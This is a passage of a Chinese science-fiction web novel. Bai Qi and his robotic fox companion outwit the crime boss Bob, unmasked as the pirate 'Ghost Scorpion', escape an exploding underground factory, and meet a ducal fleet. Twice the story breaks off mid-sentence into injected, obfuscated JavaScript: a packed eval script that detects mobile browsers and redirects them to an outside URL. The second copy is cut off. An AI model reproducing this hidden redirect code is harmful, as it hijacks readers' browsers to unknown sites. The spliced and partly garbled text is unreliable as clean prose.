“你是哪边的人?塞勒斯?佩特拉?还是其他什么势力的?诶,我真不擅长想这些。”鲍勃已然有些不耐烦,他随手将西装外套脱去,嘴角咧出一抹笑容,“反正你也不会老实交代,还是让我先把你的脑子打开,看看里面藏了什么……” 穿上西装时,他尚且有几分文明人的样子,但脱去外套后,就彷佛褪下了一层伪装的假皮,即便有些发福却依然可见强健肌肉轮廓的身材将衬衫紧紧地撑起,卷起的袖口处露出筋肉虬结的手臂,看起来凶恶又狰狞,不像商人,倒像个穷凶极恶的星际海盗。 鲍勃狼一样阴狠的眼睛紧盯着白启,粗大的手掌摩挲着,俨然已经要动手了,白启却突然接话道:“唔,也许是泽维尔呢?” 鲍勃动作短暂地顿住,他看来也并非真的完全不擅长这些,此刻脸上就现出一抹狐疑:“皇室这些年自顾都不暇,怎么有能耐把手插到这里?而且插手砾石星的事对他们根本没有任何直接的好处,难道……” “不,不可能!”他又自己否定道,脸上同时带上了一抹彷佛看穿了白启把戏的了然和轻蔑,“栽赃嫁祸,没关系,待会儿我会让你求着告诉我。” “你看起来倒是很自信。”白启轻笑,“一个人在这蹲我,一定是胜券在握了吧?那你不妨猜猜我为什么敢一个人来此?” “你只是C级。”鲍勃眯起眼,或许别的都可以作假,但精神力等级的检测和特性的呈现一样,是做不了任何假的,而托雷写在资料中的等级就是C级无误。 “是吗?”白启看着鲍勃的身后,充满暗示意味地眨了眨眼,鲍勃带着些许怀疑地转头,随后瞳孔猛然一缩,强健的身材在此刻展现出不可思议的灵活度,他就地一个侧滚翻,险之又险地避过从身后飞扑而来的爪锋。 待鲍勃稳住身形抬头后,终于看清了袭击自己的到底是什么。 一只肩高一米、连尾部在内的身长接近两米的红色狐狸缓步走到白启身侧,正常的狐狸自然长不出那么巨大的体型,更不会是眼前这种半透明的能量体形态,只有一种可能,这是具象化的精神力特性。 特性的种类多种多样,像是塞勒斯所代表的雷霆,亦或是伊蒙那天所展现出的火焰,两者虽然不同,却都归属于元素,但特性的种类绝不止于风火雷电之类的自然元素,事实上,生物类特性才是占据绝大多数的主流。 就例如白启此刻具象化出的狐狸,生物类特性可以是某种动物,也可以是某种植物,光是帝国统计在册的种类就多达两万多种,相对的,元素类的种类则匮乏许多,只有寥寥一百多种,拥有元素类特性的人更是只占所有精神力者的0.05%。 但稀少并不意味着强大,在低等级时,元素类特性普遍会弱于同等级的生物类,当然其中也有反过来的个例,但大体的趋势如此,不过到了B级,元素类的能力一般就能够跟生物类持平,到更高的A级,两者的优势则会彻底颠倒,元素类往往会更胜一筹。 至于最顶层的S,七大家族无一例外,都是元素类特性。 可以说,元素类特性拥有较高的上限以及较低的下限,这也是当前学界普遍认同的观点,生物类则更均衡一些,虽然上限可能不如元素类,但本身能达到上限的就寥寥无几,偌大的帝国,目前的S级仅兰德尔一人,A级多一些,总数也不过数千。 而白启,从他能将特性完全具象化来看,他显然已经达到了A级,甚至已经逼近S级的门槛。 帝国对A级的定义是能够将精神力全身外化,S级则是能在周身生成领域一样的能量场,两者的关键区别就在于一者只能将特性作用于自身,另一者却可以用特性影响周身数米的区域。 生物类特性没有出过S级,常规的生物类A级特性,一般表现为可以在全身覆盖上一层与特性种类相同的能量体铠甲,并依照自身特性种类给予身体不同方向的强化,据说,最厉害的A级生物类特性甚至可以手撕机甲,但从未听说过有人能够将生物类特性直接脱离自身,像眼前的能量体狐狸一样独立活动。 起码在鲍勃的认知中没有,而且既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482477|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其可以脱离于主人独立存在,乃至战斗袭击了,这是否等同于元素类S级外放的能量场呢? 这家伙到底是什么等级?!S吗?从哪凭空蹦出来一个S级,而且还是从未有过的生物类特性?难道他也是……不,不可能!绝无可能! 鲍勃在心中再三否定,却不可避免地对白启生出了深深的忌惮,脸上的神情也再无先前的轻蔑和游刃有余。 “你不是托雷。”他阴沉道。 特性和等级都是无法伪装的,只要检测,就必然暴露,而地下工厂的员工在进入前都做过全面的检测,托雷的等级就是C级,特性也并非狐狸,即便托雷的来历可能也有问题,但眼前这个托雷一定已经不是他先前认识的人。 “显而易见。”白启耸耸肩,全然没有要隐藏的意思,他脱下这身碍事的防尘服,撤去脸上的投影伪装,露出风衣包裹下挺拔修长的身形,和那张不久前刚刚在通缉令中出现过的平凡脸孔。 “是你。”鲍勃在第一时间认了出来,他显然对砾石星的局势变化颇为关注,此刻又一次问道,“你到底是什么人?” 相较于前次,他这回带上了更多的疑惑,因为单说地下工厂内的卧底的话,即便尚不能确认是哪方的人,但从利益和势力上分析好歹有迹可循,可这个佐罗却几乎是凭空出现,来历和目的都堪称扑朔迷离,让人完全搞不清他到底是作为怎样的一个角色搅入这场砾石星的争斗中的。 “说了你又不信,而且连续提问也太不礼貌了,不该我问你了吗?鲍勃·布莱恩——”白启突然抬高音量,拔出别在腰间的便携手枪,对准鲍勃后没有任何停顿地扣动扳机。 鲍勃立刻闪躲,普通人自然不可能躲过子弹,即便这只是出膛速度较低的便携手枪子弹,但凭借高等级精神力者远强于常人的体能,加上一点预判的话,却并非不可能。 “出生于第五星区一个普通的平民家庭,二十三年前来到砾石星,开设了金辉娱乐丨城并成为其名义上的老板,精神力等级B……” 白启追着鲍勃躲避的路径连续点射,他并未瞄准,仅仅是随手放枪,因而子弹连续射空,但这样近的距离,枪械天然占据极大优势,在他说到最后一个字时,鲍勃终于还是躲无可躲地暴露在了子弹直射的路径上。 在他即将被子弹贯穿的最后一刻,鲍勃抬起手臂,血肉构成的手臂上迅速覆盖上一层半透明的暗紫色能量体盔甲,形似某种节肢动物巨大的钳状前鳌,子弹撞击其上,竟发出碰击金属一样的震响,但与常规金属不同的是,这样近距离的子弹撞击,在上面竟是连些许擦痕都未曾留下。 巨钳放下些许,露出其后阴鸷看向白启的目光,而此刻,白启最后一句才将将落下。 “特性是——变异红鳌蟹。” 他将弹匣打空的手枪在指尖转了一圈,而后随手丢在一旁。 手枪这种威力的武器,对C级还能起点作用,但对于B级及以上的高等精神力者,就像眼前所见的这样,连在能量体盔甲上留个痕迹都做不到,想要战胜这样的敌人,要么在对方动用特性前偷袭得手,要么,以同样的精神力武器将其击破。 白启抽出刀柄,淡金色的能量束喷吐而出,聚合成一米长的刀刃形状,他左手微屈,对着鲍勃招了招,配合上那满是挑衅意味的笑容,已然不言而喻。 21.幽灵蝎 鲍勃悍然跃起,本就强于常人的体能在他外放出特性后,获得进一步的提升,这一跃竟是高达三米,暗紫色的巨钳犹如两柄重锤,凌空向白启砸下。 白启旋身躲过,刀刃穿过被砸裂飞溅起的砖石,向巨钳防护后的鲍勃躯干刺去,鲍勃立即撤身抬臂,巨钳与刃锋相碰,发出金属撞击的铮响。 与之一同响起的,是白启未尽的轻佻话音。 “这些是你明面上的资料,一般人可能会好奇,你这样一个没有任何背景的人,凭什么在中央城区这样繁华的地段独占这么一门富得流油的好生意?” 他自问自答:“其实很简单啊,因为你并不是没有背景,你的背景厉害得很,那可是七大家族中代表风暴的维纶啊,而且你们做得也根本不是什么赌博生意,娱乐丨城只是个掩护,地下的东西才是你们驻扎在这里的真正目的。” 鲍勃沉着脸色,并未接话,他猛一使力,将白启击退后正欲追击,那只神出鬼没的能量体狐狸突然又来到他身侧。 一般来说,精神力等级越强,具象化出的能量体也就越强,在差距过大的时候,高等级的能量体甚至只需几个照面,就可以直接将低等级的能量体击破。 如果白启是S级的话,那方才刃锋与巨钳相击的瞬间,巨钳即便不像是脆弱的白纸那般被刃锋直接刺穿,也多少该感受到些许难以抵抗的压力,但结果显然并非如此,刃锋非但没能撼动巨钳,在相抗角力的短暂过程中,鲍勃甚至还隐隐感觉自己占了优势,他对战的不像是一个S级或A级,反而像是更低的C级。 事实上,能量刀这种制式武器本身就是C级常用的,C级拥有特性却无法外显,想要将精神力具象化作战,只能借助这种固定输出方式,不表现任何特性的制式武器。 在白启抽出能量刀时,鲍勃就已经心中起疑了,高等级精神力者一定是更习惯使用自己的特性作战的,无论是适配性还是强度都远胜于这种不表现特性、任何人都能使用的制式武器,在一回合的交锋后,他心中的疑惑更甚,但这些疑点暂且也可以解释成白启是看轻他,像是猫戏弄老鼠那样,不紧不慢地陪着他玩。 白启主动邀战的行为,和神情中游刃有余的轻慢,似乎都在印证这点,因而谨慎起见,鲍勃没有正面与能量体狐狸交锋,他放弃原本对白启的追击,后退避开。 白启手中的制式能量刀或许因为轻慢而只维持在C级的水准,但这只能量体狐狸庞大的身形,却是实打实由精神力构成的,庞大的体型不完全代表强悍的精神力等级,却也在绝大多数情况下,呈现明显的正相关。 若是真如他猜想的那样,那么硬碰这只能量体狐狸可不单是自身的能量体盔甲被击穿那么简单,这种用精神力具象化出的能量体一但受损,精神海也会遭受相应的创伤,在眼下强敌在前,工厂自毁的红灯倒计时警报持续鸣啸的情况下,这可是相当要命的。 鲍勃因为忌惮和谨慎暂缓了攻势,而白启却好像真的是抱着那种猫戏弄老鼠的戏谑心态,即便倒计时的警报又一次响起,自毁程序启动的时间仅剩五分钟,他还不抓紧与能量体狐狸夹击合攻,将鲍勃尽快拿下,反倒不徐不疾、一左一右地绕着鲍勃游走。 “你为什么能独占这里的赌场生意,我不奇怪,你资料中真正引起我兴趣的是另一点。”白启挽了个刀花,继续自说自话。 “精神力具象化出的能量体颜色,一般会跟随特性,正常的红鳌蟹应该是红色,但你的能量体是紫色,因为你的特性是变异红鳌蟹,这当然没什么奇怪的,特性是某种变异生物的情况不多见,但也不少见,起码比元素类特性出现的概率常见许多,不过,你知道衔尾蛇吗?” 鲍勃的回应是又一次发起的袭击,暗紫色的巨钳如锤如盾,坚固厚重,出击时又不失灵敏,数米的距离眨眼便至,劲风扑面,仿若带着千钧之力。 但这样的雷霆攻势却因从侧方袭来的狐爪而不得不分心避让,他的攻势仍未停下,却到底失了一开始的迅猛之势,白启使了个巧劲将力道卸去,狐狸在侧方不断袭扰,他与鲍勃的巨钳不断缠斗。 他的话语,也仍在继续。 “肯定知道的吧,衔尾蛇,这可是名震帝国的星盗组织,那桩耸人听闻的刺杀案的直接实施者,在这个曾经架构庞大,人员数千的星盗组织中,有三名首脑级的主要头目。” 交战的间隙中,白启抬起空闲的左手,三根手指竖起:“一号头目自然就是衔尾蛇的老大,代号蝰蛇,哈,他们星盗就是这样,没什么正经名字,他这个代号直接就是他的特性,真是简单粗暴,二号头目血蛛同样。” 他还有闲心吐槽了一句。 “至于三号头目,能跟蝰蛇血蛛一家亲的,自然也是同样的货色。”白启刀刃旋转,在狐狸的配合下再次卸去鲍勃的攻击,他突然放慢语速,以比先前更细致的方式介绍道,“三号头目,幽灵蝎,精神力等级B,以特性作战时,常幻化出两只暗紫色的巨钳,以及一条带有精神毒素的致命蝎尾。” 他偏头看向鲍勃,笑容中似有深意:“你是不是还差了条蝎尾啊?” “衔尾蛇的三号头目——幽灵蝎。”白启一字一顿。 鲍勃的脸色已经阴沉到极点,但片刻后,他突然又笑了,不见和煦,反倒阴森可怖得像是死而复生的幽灵。 “你就是C级。”他舔着唇齿,彷佛窥见猎物破绽的猎犬,嗜血又兴奋。 鲍勃突然转身,巨钳砸向他先前一直避之不及的能量体狐狸,这本该由强大精神能量构成的狐狸骤然遭到砸击,竟是还不如白启手中那把仅相当于C级的制式能量刀,狐身顷刻间出现一道裂痕,却又不是正常能量体破碎的裂痕,这更像是电视屏幕被砸碎后出现的那种彩色裂纹。 为什么精神等级强到可以直接具象化出这样游离体外的独立能量体却还要以C级的制式武器与自己慢慢缠斗?为什么缠斗过程中,这只能量体狐狸从来没有与自己产生过正面的交锋,仅担负袭扰的功用,反倒是没有任何能量体铠甲防护的白启一直在以肉身与他正面交战? 原因已经不是白启看轻戏弄他可以解释的了,但答案其实也很简单,他先前所有问题的答案,都非常简单。 一如此刻狐狸外壳的光学投影伪装被砸碎后,所显露出来的真实机械身躯一样,从来没有什么强横到可以直接将生物类特性独立具象化的高等级精神力,更没有什么凭空出现的S级,白启所表现出的轻慢和 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白启却于同一刻露出笑容,狡黠得像只计划得逞的狐狸,他嘴唇微张,轻轻吐出两字:“开火。” 凭空出现在主控室门外的警卫机器人一齐抬起枪口,程序锁定鲍勃这个本该拥有最高权限的主人,重火力的枪焰喷吐而出。 鲍勃立刻抬起双臂抵挡,即便是机枪子弹也无法打破他的能量体防御,但重机枪高频的射速和子弹接连不断的强大冲力下,他却是被撞的后退了几寸。 而警卫机器人仍在陆续到来,白启与鲍勃缠斗的几分钟的时间不够王尔德恢复全部数据,却足够他借助主控室的权限接管工厂内所有警卫机器人的控制权,现在工厂内所有遗留的警卫机器人都在向这里赶来。 这本就是为杀戮而生的机器,单台都要B级才能勉强应对,而鲍勃一个人应对这么多台,即便能抵御一时,不久后也必然因精神力耗竭而落败。 鲍勃在持续加大的火力下不断退后,白启来到一个弹雨没有覆盖到的位置,手中能量刀转动,看起来是要伺机偷袭。 想杀鲍勃只需让警卫机器人持续开火就好,但相比一个死人,白启还是更想要一个可以问话的活人,那样的话根本无需服务器中那些尚未恢复的数据,鲍勃知道的秘密一定更多。 但在他正欲动手前,异变陡生。 鲍勃被巨钳防护在后的脸孔上露出一抹阴寒的冷笑,同手臂上一样的暗紫色的能量体从他背后生出,迅速凝现为蝎尾的形状,却仍未停止,它向鲍勃的身体躯干蔓延,生出通体的坚硬甲壳,和数对步足状的肢节。 白启瞳孔骤然缩紧,轻声说:“我记得,幽灵蝎的等级是B。” “是的,从泽维尔军方留存的记录,以及各方的资料中交叉印证,幽灵蝎的精神力等级就是B级,确凿无误。”王尔德在脑域中答。 但此刻,在白启眼前,不过眨眼间的功夫,鲍勃就已经被暗紫色的半透明甲壳包裹全身,前鳌狰狞,蝎尾闪着剧毒的寒光,他眼下的形象就像一只真正的幽灵巨蝎。 “全身特性化。”白启吹了声口哨,握紧刀柄,自语道,“这回真的是中头彩了……” 22.黄雀在后 下一刻,鲍勃悍然前冲,无视机枪连射的强大动能,他像一台势不可挡的重甲战车,以摧枯拉朽之势,转瞬间冲至最近的警卫机器人身前,他蝎尾横甩,像是一条呼呼作响的长鞭,顷刻间将数台警卫机器人掀翻。 巨钳直插入坚固的合金机身,像是撕烂一张脆弱的纸片,他撕开警卫机器人的胸腔,掏出其中的核心,被扯断的缆线爆闪出电流的花火,断口处流出的机油“滴答”落下,竟显出几分鲜血淋漓的残暴。 当他不再需要掩藏,完全展露自己的A级实力后,这些钢筋铁骨的警卫机器人在他眼前就像是过家家的玩具,暗紫色的幽灵巨蝎以其恐怖的破坏力,将警卫机器人成片地扫倒。 几十秒的时间,现场已然只剩一堆辨不出原本形状的破铜烂铁,鲍勃的视线随即后转,摧枯拉朽的战车再次开动,他快步疾冲,在临近时猛然一跃,就横挡在正欲离开这里的白启身前。 “你要去哪儿啊?”鲍勃此刻的语气竟是堪称轻柔的,可他此刻狰狞的暗紫色巨蝎身形,瞳孔中嗜血的疯狂,让他这语气不显温和,只显出加倍的可怖。 “去哪儿也要管?管得太宽了吧。”白启嘴上不输阵,身体倒是很诚实地就地一滚,躲进服务器组间的狭窄空隙中。 鲍勃是B级时,他尚且能凭借诈术和王尔德的配合,以能量刀与对方有来有回地交手,但是A级的话,他那把能量刀撑不过几个回合就会像那些警卫机器人的残骸一样,被巨蝎撕碎,连带着他的精神海一起。 敌我实力太过悬殊,正面硬碰硬纯属找死,此时此刻,当然是跑为上策了。 白启躲进服务器组间的空隙后动作不停,立刻又矮身向前,他刚刚离开原位,巨蝎就已经追至,警卫机器人的合金外壳在他面前都脆弱如纸,服务器组的机箱更是像一推就倒的沙堡,被顷刻碾平。 即便没有那样强悍的精神力等级,白启的身手依然远胜于大部分普通人,他此刻灵活地在各种狭窄的设备间隙中穿行,速度竟是不比在平地上慢。 但是鲍勃更快,白启尚且还需躲避障碍,鲍勃却只需径直碾过,他甚至都不需要特意做些什么,他精神力具象化出的巨蝎身形本身就是无往不胜的利器,一切阻碍尽皆在其下粉碎。 “自毁程序已启动,倒计时两分钟,请未撤离人员立即撤离。” 警报的提示音重复响起,时间已经仅剩两分钟,但无人关注,白启是没有闲暇,因为在倒计时结束前,他必然就先被鲍勃追上。 而鲍勃,不知他是有什么倚仗,还是被怒意冲昏了头脑,双眸猩红,眼中除了要将猎物撕碎的暴虐,再无其他。 近了,越来越近了,蝎钳几乎已经能触及白启的衣摆,鲍勃双腿蹬地,准备借着这一跃之力,彻底将猎物的所有生路阻绝。 然而,在他跃起前,白启却先一步矮身前滚,又一次滚进设备间空隙的同时,能量刀的光束再次喷吐而出,冷却管道瞬间被划出一道半米长的裂痕,大量的冷却气体犹如爆裂的高压水管,急速喷涌而出。 冷却气体本身没有颜色,却因极速制冷的低温在极短时间内凝结出大量的白色水雾,鲍勃顿时失去了视野,他落至地面时,白启更是早已不在原先的地点。 白雾弥漫,红光穿透雾气,让四周映射上一片不详的血红,黑与红在交转,设备残骸上时不时爆闪出电火花的噼啪声响,周遭再无其他声息。 鲍勃左右逡巡,巨蝎碾踏在金属踏板上,每一步都发出沉闷的声响,水雾中现出他朦胧的巨大影子,像是恐怖故事中藏于浓雾的吃人鬼怪。 “自毁程序已启动,倒计时60秒,请未撤离人员立即撤离。” 时间已经短到以秒计,鲍勃却仍然不紧不慢,全无撤离的意思。 借着浓雾隐藏身形的另一人却似乎待不住了,在时间仅剩55秒时,主控室的西侧,靠近出口的位置,响起一道微弱也突兀的异响。 鲍勃的唇角咧起,他瞬间跃至出口处,正挡在猫着腰悄声往外走的白启身前。 白启脸上再无之前的轻浮,他见到突然出现的巨蝎,现出一种走至绝路的惊恐。 鲍勃似乎很享受他此刻的神情,猎物已经无路可逃的此刻,他动作反倒又慢下来,高大的身形像是山岳垂下的阴影,将白启完全笼罩,他一步一步逼近,带着狰狞残暴的笑意。 白启踉跄着后退,后背贴上后方的墙壁时,他终于无路可退。 “别杀我!你不是想知道我是哪边的人吗?我全都告诉你!”他急声道,嗓音因为恐惧而变调。 鲍勃脸上的残暴笑意却不变,他轻声安抚:“别怕,我当然不会杀你,起码在你吐露出所有有价值的情报前都不会,不过,你这样不老实,总该拿点东西给我赔罪。” 暗紫色的蝎钳举起,像是丈量着要先扯下他哪一段肢体,白启面色上的惧意和恐慌愈加明显,身体不住发抖,但惊恐到极致后,他反而又现出一抹狠色。 “一起死吧!”他大喝道,“王尔德,粒子炮发射!” 王尔德是谁?这是鲍勃的第一想法,至于后面的粒子炮发射,他反倒没太在意,粒子炮是威力恐怖的太空级武器,启动时需要庞大的能量源,这注定粒子炮的体积也不会小,一般只装载在星舰或是机甲上,而且起码得是中等体量的星舰机甲,像地下工厂那些撤离用的小型星舰都无法装载,这根本不是能随身携带凭空出现的东西。 他只当白启是在不老实地诈唬,妄图垂死一搏,又或者干脆是吓疯了后的胡言乱语,因而他甚至没有转头看一眼,直到那急剧升高的热度再也无法忽视。 鲍勃猛地扭头,就见到视线的尽头,重重浓雾掩盖的前方,现出一抹巨大的狐影,赫然正是不久前被他击中,便故障般不再动弹的机器狐狸,此刻狐狸的嘴部张开,露出跟粒子炮分外相似却等比缩小了许多的炮管,而此刻急剧升高的热度正是来源于炮管处预热启动时积聚的动能。 犹如一颗小型的恒星在此处升起,恐怖的光热在狐嘴汇聚,低温凝结的水雾被顷刻冲散,烟浪滚滚,巨蝎庞大的身形都在这光与热的伟力下显出几分渺小。 不可能!这绝不可能是粒子炮!粒子炮根本不可能有这么小的体积,这里有什么能为它供能?!鲍勃心中闪过许多想法,他却压根无暇一一抓住,太快了,也许是因为体积小的原因,这迷你版的粒子炮蓄能时间极短,不过数息,粒子流就已经被加速至逼近光速,光炙烈到刺目,鲍勃所能看清的最后一个画面,是机器狐狸前爪撑地,脖颈微微后仰,这是一个蓄力待发的动作。 粒子炮即将发射!这个认知在这一刻贯穿鲍勃思绪纷乱的大脑,他再无暇去细想其他,身体几乎是本能地做出反应,双臂前抵,本就巨大的蝎钳再次胀大,他所有的精神力都集中向此供给,生成一堵犹如铜墙铁壁的钳状巨盾,将他整个人都护卫在后。 下一刻,强光向他射来,却并非想象中能湮灭一切的高温粒子流,他确实感觉到了些微灼烫的热意,但也就仅仅是这些微灼烫的热意,本该附带的动能撞击电磁辐射通通没有,他像是被一个超强功率的手电筒直接照射着。 不对——鲍勃心中刚刚生出这个念头,甚至还未来得及细思是哪里不对,真正致命的杀机就从完全相反的方向刺来。 一台残破的警卫机器人在鲍勃后方现身,它一直藏于浓厚的雾气中,在热涌的气流吹散白雾时,它终于显露出冷硬的金属身形,但注意力已然完全被粒子炮吸引的鲍勃半点没有注意,在鲍勃全力抵御喷射出的粒子流时,这台警卫机器人也抬起它尚还完好的枪口。 所有余弹在瞬息间被清空,但对于A级的精神力者而言,即便鲍勃将大部分精神力都调用到前部,后背覆盖的能量甲很稀薄,机枪扫射的威力却仍不足以将其击破,在此刻,白启双手握刀,补上至为重要的最后一击,便如压倒骆驼的最后一根稻草。 金色的能量束喷吐而出,刃光擦着最后一颗射出的子弹,命中那已经无限稀薄的巨蝎背甲处,鲍勃双眸陡然睁大,刃光仅仅刺穿他的护甲,并未伤及血肉躯体,但这一刀无异于直接刺在他的精神海中,尖锐的刺痛顷刻席卷他意识的每一处,这是难以形容的痛苦,比血肉上的创伤更甚百倍,而白启趁着他因剧痛失神的片刻又在其脑后用刀柄狠狠一砸,鲍勃转瞬间晕厥倒地。 一切尘埃落定,白启收起能量刀,在一片狼藉的主控室中得意地嘲讽:“哪来那么小的粒子炮啊,能量守恒不知道吗?动动脑子嘛。” 机器狐狸这时也断开身上的缆线向白启走来,他这么点体型自然不可能装载真的粒子炮,作为变形金属制造的机甲核心,他小到可以变化成白启手腕上的腕表,最大也不过变成现在这样一米高两米长的体型,比小型星舰都还小了十余倍。 而即便是这样伪造的假粒子炮,想制造出以假乱真的光热,也需要庞大的能源,这远不是他本身的储能能够提供的,白启之前溜着鲍勃在各种设备间隙穿行,乃至制造那样遮蔽视线的白雾,都是为了拖延时间,给王尔德连接工厂能源的机会,如此,才能营造出如此逼真的效果,让鲍勃无暇多想,也让白启最后能够一击即中。 不过,解决了鲍勃,他们仍有一件事需要争分夺秒的解决。 白启嘴上嘲讽,手上的动作倒也不耽搁,快速搜出鲍勃身上的ID卡,扔给走至自己身边的王尔德,王尔德立即借助其获得主控室的最高权限。 “自毁程序已启动,倒计时10——程序中止。” 在仅剩十秒的时候,急促闪烁的红灯终于中止,主控室亮起正常的照明灯光,映照出已然一片狼藉的内里。 及至此刻,白启终于可以真正地歇上一会儿,他活动了一下被刚刚那一刀震得有些发麻的手腕,询问说:“恢复全部数据还要多久?” “还要……”王尔德正待作答,不详的血色灯光却再次将他和白启笼罩。 “指令覆盖,自毁程序继续启动,倒计时10、9……” 白启霎时色变,顾不得其他任何东西,他转身就向外飞奔。 “王尔德!” 紧跟在他身旁的机器狐狸同步在白启脑域中生出了一副叠合工厂地图的自毁装置分布图,这样一座严密坚固宛如要塞的地下工厂,想要完全炸毁不留半点有用的痕迹,自毁装置的设置必然也是设计过的。 爆炸将分成三段,第一段将炸毁最重要的主控室及服务器组,第二段则炸毁次级重要的制作车间之类的设施,最后一重范围最大的爆炸则是环绕在整个工厂的外围,三重爆炸会将工厂从里到外地彻底摧毁,而每次爆炸的间隔不过三秒,叠加上不断缩减的倒计时,十几秒的时间,这是白启仅有的逃生机会。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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机械狐狸的身形在瞬间完成重组,化作一个小型的逃生舱,将白启包裹,及时撑起的能量护盾以及白启保持的双手护头的蜷曲姿势卸去了这一轮爆炸的大部分冲力,又借着预先计算过的爆炸冲击角度,逃生舱趁着这波推力转瞬间来至了地下工厂的外侧,但在第三轮注定将地下工厂,乃至整个地下结构都毁于一旦的爆炸下,他们离真正的安全却还有距离地面的那数十米。 这几乎是不可能的距离。 “3,2……” 逃生舱驶至白启最开始潜入的那道闸门,甚至还未来得及跃出,最后的时刻就已然来临。 “1——” 无处不在的焰光将他们吞没,通道被炸塌,顶部支撑的穹顶和地层分布的土石纷纷砸下,逃生舱在多重冲击下艰难地支撑,犹如巨浪翻涌的大海上一叶随时会倾覆的扁舟。 这样小的体积本身就无法存储大量的能源,王尔德除却计算逃生通路的必要能耗,将所有能源都用来维持护盾,但他的能源储备依然在飞速见底,在爆炸的冲击将他们送至地面前,他们必然就先毁灭于烈火。 但就在这一刻,急速奔驰的红色厢式货车终于驶至金辉娱乐丨城,不等通过机器安检的拦道横杆,货车庞大的车身直接飞跃而起,在半空完成变形重组,二十米高的红色机甲冲入金辉娱乐丨城前方广场因爆炸而塌陷的空洞中,在逃生舱能源耗尽的最后时刻,机甲主体外放的护盾终于将其包裹。 背部及腿部的推进器一齐启动,巨大的红色机甲将逃生舱护于掌中,飞至地面的安全处。 他单膝跪下,合拢的掌心这时才缓缓张开,白启从其间跳下,望着微微见亮的天色呼了口气说:“好险。” 从连番的险境中逃脱,此时似乎确实值得歇息片刻,但这个过分漫长的长夜,时至此刻,都还仍未结束。 “警告!检测到超空间跃迁波动!你已被多架太空级武器锁定!” 王尔德突然发出预警。 白启霎时抬头,方才还空无一物的天空凭空多出数艘巨大的黑色舰体,跃迁产生的强烈能量波动震散了周边空域飘荡的层云,仍有星舰穿过跃迁通道不断到来,几个呼吸间,他已经被一支整编太空舰队重重锁定包裹。 不同于那些撤离用的小型星舰,这些星舰数倍于其的体型,舰体两侧黑洞洞的炮口,足以装载真正粒子炮的强大动力源,都说明它们是货真价实的军舰。 而这些军舰的来历,白启其实也分外熟悉,甚至不久前,他还在其中那艘担任指挥舰的主舰上当过一回乘客。 本该前去突袭星盗基地的塞勒斯舰队为何出现于此?地下工厂那位倒霉的卧底到底来自何方?这些问题的答案似乎已然不言而喻了。 “黄雀在后啊。”白启望着黑色舰体上的闪电纹家徽,轻轻叹道。 他随即又抬高音量,轻佻的嗓音映着嘴角轻浮的笑意一起,在主舰指挥室前方的巨大屏幕上,在所有人眼前,清晰地呈现。 “尊贵的公爵阁下,我怎么说也帮了你那么大的忙,这就是阁下的待客之道?” 驾驶舱内,一身紧身黑色作战服的兰德尔拉下最后一重推进器,机甲胸部的核心反应炉发出启动预热的低沉嗡鸣,他轻轻地回应。 “所以,我亲自来请——” 指挥舰下侧的机甲舱门轰然洞开,二十多米高的黑色机甲从其间落下,漆黑的机身冷肃又坚硬,每一处线条构造都穷尽力与美的极致,他此刻悬立空中,双臂缓缓舒展,像是沉眠已久的古神骤然苏醒,即便尚未显露他天罚灭世般的武力,却已然足以叫人领略其无上的威仪。 当真如传言所说那般,当你直面他的真容时,便如渺小的凡人直面雷霆。 砾石星意外窥见这一幕的晨起民众,乃至天空上随行其来此的舰队,都不约而同地退后,像是唯恐被这即将到来的审判雷刑波及。 唯有白启还站在原地,紊乱的能量力场下,他的衣摆在风中猎猎作响,和着他不见任何惧意的轻浮笑音。 “那真是不胜荣幸。”